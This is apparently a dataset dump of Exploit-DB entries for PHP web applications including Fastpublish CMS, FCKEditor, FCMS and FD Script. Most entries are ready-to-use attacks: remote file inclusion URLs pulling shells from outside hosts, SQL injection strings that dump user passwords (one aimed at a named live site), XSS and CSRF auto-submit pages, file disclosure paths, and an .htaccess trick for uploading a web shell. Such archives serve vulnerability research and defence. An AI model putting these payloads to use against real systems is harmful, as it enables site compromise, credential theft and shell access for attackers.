deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4725
Description: Fastpublish CMS 1.9999 - config[fsBase] Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-12
Author: RoMaNcYxHaCkEr

Exploit:
# Name : Fastpublish CMS 1.9999 (config[fsBase]) Remote File Include
# Download From : http://www.fastpublish.org/aufbau/php_content/downloadlist.php?action=download&id=53&sprache=en
# Found By : RoMaNcYxHaCkEr
# Home Page : Not Yet :(
============================================================================
# Vulne Code In designconfig.php In Line 25 :
@include($config['fsBase']
# Exploit :
www.RxH.com/fastpublish_19999d_trial/adminbereich/designconfig.php?config[fsBase]=http://www.no-hack.fr/shells/c99.txt?

============================================================================
# Greet To :
Cold Z3ro My Master (Hackteach.org)
Hack15 TeaM (V99x.com)
Sniper-Sa (Sniper-sa.com)
Tryag TeaM (Tryag.com)
Yee7 TeaM (Yee7.com)
My5ql Team
Also: Saudi Kafo , Adel Alroh , Mr-Google , Kill eye , Dr- Wolf4ever And All My Friends
# For Contact : RxH@HotMail.iT
Best Wishes

# milw0rm.com [2007-12-12]
Exploit-DB #6678
Description: Fastpublish CMS 1.9999 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2008-10-05
Author: ~!Dok_tOR!~

Exploit:
Author: ~!Dok_tOR!~
Date found: 30.09.08
Product: fastpublish CMS
Version: 1.9.9.9.9.d
URL: www.fastpublish.de
Download: http://www.fastpublish.de/rich_files/attachments/downloads/fastpublish_19999d_trial.zip
Vulnerability Class: SQL Injection

SQL Injection

Exploit 1:

http://localhost/[installdir]/index2.php?q=dok&sprache=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,user_type,user_name,user_pw),7,8,9,10+from+fastpublish__forumen_userdata/*

Exploit 2:

http://localhost/[installdir]/index2.php?q=dok&sprache=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,user_type,user_name,user_pw),7,8,9,10+from+fastpublish__forum_de_userdata/*

Exploit 3:

http://localhost/[installdir]/index2.php?q=dok&sprache=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,benutzer,passwortm,email),7,8,9,10+from+fastpublish_benutzer/*

Exploit 4:

http://localhost/[installdir]/index.php?artikel=-1+union+select+1,2,concat_ws(0x3a,user_type,user_name,user_pw),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+fastpublish__forumen_userdata/*

Example:

http://www.jeremias-d-meissner.de/index2.php?q=dok&sprache=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,user_type  ,user_name,user_pw),7,8,9,10+from+fastpublish__for  um_de_userdata/*

File inclusion

http://localhost/index2.php?artikel=3&target=./[file]

http://localhost/index.php?artikel=2&target=./[file]

Example:

http://www.jeremias-d-meissner.de/index2.php?artikel=3&target=./forgotpassword.php

# milw0rm.com [2008-10-05]
Exploit-DB #11188
Description: Fatwiki (fwiki) 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-01-18
Author: kaMtiEz

Exploit:
#############################################################################################################
## Fatwiki (fwiki) Remote FiLe include RFI			                                           ##
## Author : kaMtiEz (kamzcrew@yahoo.com)								   ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date : 10 januari, 2010 						                                   ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://galupki.de/
[+] Download : http://galupki.de/zip/fwiki_10b.zip
[+] version : 1.0
[+] Vulnerability : RFI
[+] Dork : syalalala
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/datumscalc.php?kal_class_path=[INDONESIANCODER]
http://127.0.0.1/[kaMtiEz]/monatsblatt.php?kal_class_path=[INDONESIANCODER]

[ BUG ]

[!] datumscalc.php
     - require_once("$kal_class_path/kalender.class.php");
     - require_once("$kal_class_path/feiertage.class.php");
     - require_once("$kal_class_path/sonnemond.class.php");

[!] monatsblatt.php
     - require_once("$kal_class_path/kalender.class.php");
     - require_once("$kal_class_path/feiertage.class.php");
     - require_once("$kal_class_path/sonnemond.class.php");
     - require_once("$kal_class_path/minikal.php");

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,gonzhack ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] to someone u will be p0wned :P
[+] Tukulesto : kapan keliling kota lagi ?? hahaha
[+] gonzhack : semoga balikan ya s0b .. ane dukung ..
[+] cimpli : janganlah bermimpi tentang menikahi Maria Ozawa .. hahahhah

[ QUOTE ]

[+] we are not dead .. INDONESIANCODER still r0x !
[+] nothing secure ..
Exploit-DB #49569
Description: Faulty Evaluation System 1.0 - 'multiple' Stored Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-02-17
Author: Suresh Kumar

Exploit:
# Exploit Title: Faulty Evaluation System 1.0 - 'multiple' Stored Cross-Site Scripting
# Date: 2021-02-16
# Exploit Author: Suresh Kumar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14710/faulty-evaluation-system-using-phpcodeigniter-source-code.html
# Software: Faulty Evaluation System 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

# Vulnerable Page: http://localhost/evaluation/student/list
# Vulnerable functionality: 'Student'
# Vulnerable Input Field : {Firtstname} {Lastname} {Middle Name}
# Payload used:

<a onmouseover="alert(document.cookie)">xxs link</a>

# POC: Whenever we will go to the page (
http://localhost/evaluation/student/list) where the script is injected, the stored script will be executed.
# You will see your Javascript code (XSS) executed.
Exploit-DB #11989
Description: Faweb_2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-03-30
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Faweb_2 Mullti Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : 
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                                   
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://127.0.0.1/Faweb2.NulL.bY.Eh3an.FaScript.Product/admin/assetmanager/assetmanager.php (2 upload Ev!l)
 
 2 - http://127.0.0.1/Faweb2.NulL.bY.Eh3an.FaScript.Product/admin/main.php (By Pass)

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #37790
Description: FBDj - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-09-11
Author: TUNISIAN CYBER

Exploit:
source: https://www.securityfocus.com/bid/55504/info

FBDj is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/stats/playerdetails.php?id=5'

http://www.example.com/warstats/playerdetails.php?id=13'

http://www.example.com/playerdetails.php?id=9'

http://www.example.com/il2-stats/playerdetails.php?id=29'
Exploit-DB #37457
Description: FCKEditor Core - 'Editor 'spellchecker.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-06-25
Author: Emilio Pinna

Exploit:
source: https://www.securityfocus.com/bid/54188/info

FCKEditor is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FCKEditor 2.6.7 is vulnerable; prior versions may also be affected. 

<html> <body> <iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe> <form method="post" name="sender" action="http://www.example.com/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php"; target="hidden"> <input type="hidden" name="textinputs[]" value='");alert("THIS SITE IS XSS VULNERABLE!");</script><!--' /> </form> </body> <script>document.sender.submit(); </script> </html>
Exploit-DB #12254
Description: FCKEditor Core - 'FileManager test.html' Arbitrary File Upload (1)
Type: webapps
Platform: php
Date: 2010-04-16
Author: Mr.MLL

Exploit:
# Title: CMS (fckeditor) Remote Arbitrary File Upload Exploit


# Author: Mr.MLL
# Published: 2010-04-15
# Verified: yes
# Download Exploit Code
# Download N/A

==================================================================================================================


[o] CMS (fckeditor)

Software : fckeditor ( version all )
Vendor : http://ckeditor.com/
Contact : 7@live.com & Y-3@hotmail.com & te1@yahoo.com
Home : http://sec-r1z.com/


==================================================================================================================


[o] Exploit

http://localhost/[path]/FCKeditor/editor/filemanager/upload/test.html

http://localhost/[path]/FCKeditor/editor/filemanager/browser/default/test.html





[o] After the piece go to the path that will set you back after graduation


==================================================================================================================


[o] Greetz



muslims hacker & All My Friends


==================================================================================================================
Exploit-DB #17644
Description: FCKEditor Core - 'FileManager test.html' Arbitrary File Upload (2)
Type: webapps
Platform: php
Date: 2011-08-09
Author: pentesters.ir

Exploit:
In The Name Of GOD 
[+] Title:FCKeditor all version Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : WwW.PenTesters.IR
---------------------------------------------------------
1.create a htaccess file:
code: 
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>

2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
----------------------------------------------------------------------------------------------
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server.
---------------------------------------------------------
Exploit-DB #15484
Description: FCKEditor Core 2.x 2.4.3 - 'FileManager upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-11-10
Author: grabz

Exploit:
# Exploit Title: FCKeditor 2.0-2.4.3 arbitrary file upload
# Author: grabz
# Software Link: http://sourceforge.net/projects/fckeditor/
# Version: FCKeditor 2.x <= 2.4.3
# Tested on: 2.0, 2.2, 2.3.2, 2.4.0, 2.4.3

for version 2.0 - 2.2:
in file FCKeditor/editor/filemanager/upload/php/upload.php
#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
#
#// Get the allowed and denied extensions arrays.
#$arAllowed    = $Config['AllowedExtensions'][$sType] ;
#$arDenied    = $Config['DeniedExtensions'][$sType] ;
we can send as Type any text that not contained in (File, Flash, Image) and
then we can upload file with any extension like ".php"

for version 2.3.0 - 2.4.3:
in file FCKeditor/editor/filemanager/upload/php/upload.php
#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
#
#// Check if it is an allowed type.
#if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
#    SendResults( 1, '', '', 'Invalid type specified' ) ;
#
#// Get the allowed and denied extensions arrays.
#$arAllowed    = $Config['AllowedExtensions'][$sType] ;
#$arDenied    = $Config['DeniedExtensions'][$sType] ;
in this code we can see filter by Type, but in config.php
$Config['AllowedExtensions']['Media'] and
$Config['DeniedExtensions']['Media'] not exists))
if we send Type=Media, we can upload any file)

#Exploit
<form enctype="multipart/form-data" action="
http://localhost/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">
<input name="NewFile" type="file">
<input type="submit" value="submit">
</form>
Exploit-DB #14965
Description: fcms 2.2.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-09-10
Author: LoSt.HaCkEr

Exploit:
[x] Exploit Title: [FCMS_2.2.3 Remote File Inclusion ] 
[x] Date: 10-9-2010] 
[x] Author: LoSt.HaCkEr  ~  aDaM_TRoJaN
[x] Software Link: [http://www.familycms.com/getstarted.php] 
[x] Version: [v 2.2.3 ] 
[x]Tested on: [Windows XP] 
[x] CVE :
[x] My E-MaIl:LoSt.HaCkEr[at]HaCkEr[dot]Ps
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x]Exploit: http://target/FCMS_2.2.3/FCMS_2.2.3/familynews.php?current_user_id=[shell]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x]Exploit: http://target/FCMS_2.2.3/FCMS_2.2.3/settings.php?current_user_id=[SHeLL]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
[x]Greetings:  No Greet
Exploit-DB #18232
Description: FCMS CMS 2.7.2 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: php
Date: 2011-12-11
Author: Ahmed Elhady Mohamed

Exploit:
FCMS_2.7.2 cms and earlier multiple CSRF Vulnerability
===================================================================================
# Exploit Title: FCMS_2.7.2 cms multiple CSRF Vulnerability

Download link :http://sourceforge.net/projects/fam-connections/files/Family%20Connections/2.7.2/FCMS_2.7.2.zip/download

# Author: Ahmed Elhady Mohamed

#version : 2.7.2

# Category:: webapps

# Tested on: windows XP Sp2 En

# This vulnerability allows a malicious hacker to change password of a user
and also it allows changing the website information.
===================================================================================



#First we must install all optional sections during installation process.
      
#there are csrf in all sections in this application for examples you can add news , pray for , 
change the password and can do all functionalities are there.
	
#here are some examples for prove of concept
	

#########################################exploit code for Page "familynews.php"################################################	
	
	#Save the following codr in a file called "code.html"

		<html>
			<head>
				<script type="text/javascript">
					function autosubmit() {
						document.getElementById('ChangeSubmit').submit();
					}	
				</script>
			</head>
			<body  onLoad="autosubmit()">
				<form method="POST"  action="http://127.0.0.1/FCMS_2.7.2/FCMS_2.7.2/familynews.php"  id="ChangeSubmit">
					<input type="hidden"  name="title"  value="test" />
					<input type="hidden"  name="submitadd"  value="Add" />
					<input type="hidden"  name="post"  value="testcsrf" />
					<input type="submit" value="submit"/>
				</form>
			</body>
		</html>


	
	#then i called "code.html" from another page 

	<html>
		<body>
			<iframe  src="code.html" onLoad=""></iframe>
		</body>
	</html>


###########################################exploit code for Page "prayers.php" #################################################### 
	
	#Save the following code in a file called "code.html"
	<html>
		<head>
			<script type="text/javascript">
				function autosubmit() {	
					document.getElementById('ChangeSubmit').submit();
				}	
			</script>
		</head>
		<body  onLoad="autosubmit()">
			<form method="POST"  action="http://127.0.0.1/FCMS_2.7.2/FCMS_2.7.2/prayers.php" id="ChangeSubmit">
				<input type="hidden"  name="for"  value="test" />
				<input type="hidden"  name="submitadd"  value="Add" />
				<input type="hidden"  name="desc"  value="testtest" />
				<input type="submit" value="submit"/>
			</form>
		
		</body>
	</html>
	
	#then i called "code.html" from another page 

	<html>
		<body>
			<iframe  src="code.html" onLoad=""></iframe>
		</body>
	</html>


  	##############################################################################################################################
Exploit-DB #3365
Description: FCRing 1.31 - 'fcring.php?s_fuss' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-23
Author: kezzap66345

Exploit:
FCRing 1.3 Webringskript

*****************
Found by kezzap66345 *
*****************
Script:
http://www.scripter.ch/start.php?id=41.18.9&pos=fcring&title=FCRing%201.3
*****************
ERROR:


 if($s_fuss != "")
  include($s_fuss);      <<< rfi coded


**************************************************************************************
RFI:

http://SITE.com/path/fcring.php?s_fuss=[SHELL]


**************************************************************************************
kezzap66345[at]hotmail[dot]com

******thanx=x0r0n*str0ke*shika********************************************************

# milw0rm.com [2007-02-23]
Exploit-DB #3203
Description: FD Script 1.3.2 - 'download.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-01-26
Author: ajann

Exploit:
*******************************************************************************
# Title   :  FdScript <= v1.3.2 Remote File Disclosure Vulnerability
# Author  :  ajann
# Contact :  :(
# Site    :  http://stud.usv.ro/~vlad_l/
# $$      :  Free

*******************************************************************************

[[SOURCE]]]---------------------------------------------------------

http://[target]/[path]//download.php?fname=[SOURCE FILE]

Example:

//download.php?fname=./indexfiles/config.php
[[/SOURCE]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-26]
Exploit-DB #29530
Description: FD Script 1.3.x - 'FName' Information Disclosure
Type: webapps
Platform: php
Date: 2007-01-26
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/22265/info

FD Script is prone to an information-disclosure vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the webserver process. Information obtained may aid in further attacks.

FD Script 1.32 and prior versions are vulnerable to this issue. 

http://www,example.com/download.php?fname=[SOURCE FILE]
Exploit-DB #3123
Description: FdWeB Espace Membre 2.01 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-13
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[$$         : Free
//'[Using : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'	$nom = "menu_admin.gif";
//'	$include_haut = $path."include/table_text_gh.php"; 
//'	$include_bas = $path."include/table_text_gb.php"; 
//'	include($include_haut);
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/_admin/"
   var adres="admin_menu.php?" //File name
   var acik ="path=" // Line 5
   var shell="http://kro.275mb.com/57.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">FdWeB Espace Membre <= 2.01(path) Remote File Include Vulnerability</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-01-13]
Exploit-DB #7422
Description: Feed CMS 1.07.03.19b - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-12-11
Author: x0r

Exploit:
###############################
Feed Cms 1.07.03.19 Beta LFI
###############################
Autore: x0r
Email: andry2000@hotmail.it
Download:
http://heanet.dl.sourceforge.net/sourceforge/feedcms/FeedCms1.07.03.19Beta.rar
###############################
Bug In: index.php

if ($_GET['lang'])
{
	$language = $_GET['lang'];
	
	setcookie('firstlang',$language,time()+3600*240*365);
	header('location:'.$redirect);
}
$lang = $_COOKIE['firstlang'] ? $_COOKIE['firstlang'] : $lang;
include_once($FeedCms_Dir."lang/$lang/$lang.php");

LFI By Cookie ^ ^

Exploit: 

http://[site]/FeedCms/?lang=[LFI] ^ ^

Greetz: A Te Che Mi Hai Cambiato La Vita...

# milw0rm.com [2008-12-11]